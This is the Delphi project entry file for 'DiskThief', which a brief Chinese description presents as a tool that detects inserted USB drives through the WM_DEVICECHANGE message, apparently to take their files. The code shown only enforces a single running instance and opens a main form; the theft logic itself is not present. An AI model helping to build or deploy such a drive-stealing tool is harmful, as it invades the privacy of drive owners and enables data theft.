diskthief.dpr

Delphi版的闪盘小偷。。 实现原理:当Windows系统的硬件设置发生变化时,系统将会向所有应用程序发送一条WM_DEVICECHANGE消息.当有设备被禁止或激活时(比如我们插入光盘,从光驱中

program DiskThief;

uses
  Forms,Windows,
  Un_Main in 'Un_Main.pas' {Frm_Main};

{$R *.res}
var
hMutex:HWND;
Ret:Integer;
begin
  Application.Initialize;
  Application.Title := 'DiskThief';
  hMutex:=CreateMutex(nil,False,'FDiskT'); //避免2次运行
  Ret:=GetLastError;
  If Ret<>ERROR_ALREADY_EXISTS Then
  Begin
  Application.CreateForm(TFrm_Main, Frm_Main);
  Application.Run;
  End
  Else
  begin
    ReleaseMutex(hMutex);
  end; 

end.